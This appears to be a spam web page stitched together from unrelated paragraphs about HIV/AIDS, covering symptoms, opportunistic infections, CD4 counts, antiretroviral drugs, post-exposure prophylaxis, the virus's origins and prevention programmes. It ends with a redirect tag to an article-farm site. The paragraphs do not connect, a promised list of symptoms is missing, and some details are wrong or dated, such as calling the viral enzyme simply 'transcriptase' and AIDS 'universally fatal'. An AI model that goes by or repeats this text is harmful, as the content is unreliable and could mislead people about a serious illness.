After the first symptoms disappear, most people, even without treatment, have no symptoms or only occasionally have a few mild symptoms. This interval of few or no symptoms may last from 2 to 15 years. The symptoms that most commonly occur during this interval include the following:
The pattern of opportunistic infections in a geographic region reflects the pathogens that are common in that area. For example, persons with AIDS in the United States tend to present with commensal organisms such as Pneumocystis and Candida species, homosexual men are more likely to develop Kaposi sarcoma because of co-infection with HHV8, and tuberculosis is common in developing countries.
Human Immunodeficiency Virus (HIV) infection, the cause of Acquired Immune Deficiency Syndrome (AIDS) has become a significant threat to global public health faster than any previous epidemic (Mann and Tarantola 1996). The genetic nature of HIV evades the development of a preventive vaccine and a cure for HIV infection remains a distant hope. HIV is transmitted through direct contact with HIV infected blood, semen, and vaginal secretions. Although HIV is transmitted during birth from mother-to-infant and through contaminated blood products the majority of AIDS cases in the world have resulted from HIV transmission between adults engaged in high-risk practices. Behavioral interventions therefore remain the most realistic means for curtailing the spread of HIV infection. Effective HIV risk reduction interventions target two principle behaviors: (a) sharing HIV contaminated drug injection equipment and (b) decreasing exposure to HIV infected semen, vaginal secretions, and sexually derived blood. Interventions to change injection equipment sharing and high-risk sexual practices can, therefore, dramatically effect the spread of HIV. In this article, factors associated with HIV transmission risks and interventions directed at reducing risks associated with injection drug use and sexual relations are examined.
At the present time, there is no cure for AIDS. It has proven to be a universally fatal illness. However, most patients survive many years following diagnosis. HAART has dramatically increased the time from diagnosis to death, and research continues in drug treatments and vaccine development.
Although every missed dose increases the chance that the virus will develop resistance to the drugs, a single missed dose should not be cause for alarm. On the contrary, it is an opportunity to learn from the experience and determine why it happened, if it is likely to happen again, and what can be done to minimize missing future doses. Furthermore, if a patient cannot resume medication for a limited time, such as in a medical emergency, there still is no cause for alarm. In this circumstance, the patient should work with their HIV provider to restart therapy as soon as is feasible. Stopping antivirals is associated with some risks of developing drug resistance, and those who wish to stop therapy for any one of a number of reasons should discuss this with their health care professional in advance to establish the best strategy for safely accomplishing this.
In individuals not infected with HIV, the CD4 count in the blood is normally above 400 cells per mm3 of blood. People generally do not become at risk for HIV-specific complications until their CD4 cells are fewer than 200 cells per mm3. At this level of CD4 cells, the immune system does not function adequately and is considered severely suppressed. A declining number of CD4 cells means that HIV disease is advancing. Thus, a low CD4 cell count signals that the person is at risk for one of the many opportunistic infections that occur in individuals who are immunosuppressed. In addition, the actual CD4 cell count indicates which specific therapies should be initiated to prevent those infections.
These drugs, also referred to as “nukes,” interfere with HIV as it tries to replicate and make more copies of itself. NRTIs include abacavir (Ziagen), lamivudine/zidovudine (Combivir), and emtricitabine (Emtriva)
The HIV enzyme transcriptase converts the viral RNA into DNA, which is compatible to human genetic material, when the virus is inside the cell. This DNA is transported to the cell’s nucleus, where it is spliced into human DNA by the HIV enzyme integrase. The HIV DNA is known as provirus after it is integrated.
If you believe you have been exposed to HIV, seek medical attention right away. DO NOT delay. Starting antiviral medicines right after the exposure (up to 3 days after) can reduce the chance that you will be infected. This is called post-exposure prophylaxis (PEP). It has been used to prevent transmission in health care workers injured by needlesticks.
There is evidence that humans who participate in bushmeat activities, either as hunters or as bushmeat vendors, commonly acquire SIV. However, SIV is a weak virus which is typically suppressed by the human immune system within weeks of infection. It is thought that several transmissions of the virus from individual to individual in quick succession are necessary to allow it enough time to mutate into HIV. Furthermore, due to its relatively low person-to-person transmission rate, SIV can only spread throughout the population in the presence of one or more high-risk transmission channels, which are thought to have been absent in Africa before the 20th century.
Programs encouraging sexual abstinence do not appear to affect subsequent HIV risk. Evidence of any benefit from peer education is equally poor. Comprehensive sexual education provided at school may decrease high risk behavior. A substantial minority of young people continues to engage in high-risk practices despite knowing about HIV/AIDS, underestimating their own risk of becoming infected with HIV. Voluntary counseling and testing people for HIV does not affect risky behavior in those who test negative but does increase condom use in those who test positive. It is not known whether treating other sexually transmitted infections is effective in preventing HIV. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]